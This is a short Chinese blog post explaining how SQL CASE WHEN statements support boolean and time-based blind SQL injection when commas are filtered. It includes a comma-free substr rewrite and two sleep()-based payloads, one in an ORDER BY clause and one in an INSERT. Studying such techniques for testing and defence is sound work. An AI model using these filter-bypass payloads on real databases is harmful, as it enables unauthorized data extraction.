美文网首页
SQL注入(case when绕逗号过滤)

SQL注入(case when绕逗号过滤)

作者: 草莓养殖户 | 来源:发表于2018-11-19 15:48 被阅读0次

    case

    when [condition1] then [result1],

    when [condition2] then [result2]

    .........

    else [result3]

    end

    当条件一满足返回结果一,以此可以用来进行bool注入加时间注入。

    补充:substr((select database()),1,2) 可以写成 substr((select database()) from 1 for 2) 可以绕过逗号过滤

    示例1:(select order by 语句 中使用case when 语句)

    select * from users order by case id when 2 then sleep(1) else 1 end;

    示例2:(insert 语句中使用 case when 语句)

    insert into users(id) values('17' and case when 1 then sleep(1) else sleep(1) end);

    相关文章

      网友评论

          本文标题:SQL注入(case when绕逗号过滤)

          本文链接:https://www.haomeiwen.com/subject/vdhafqtx.html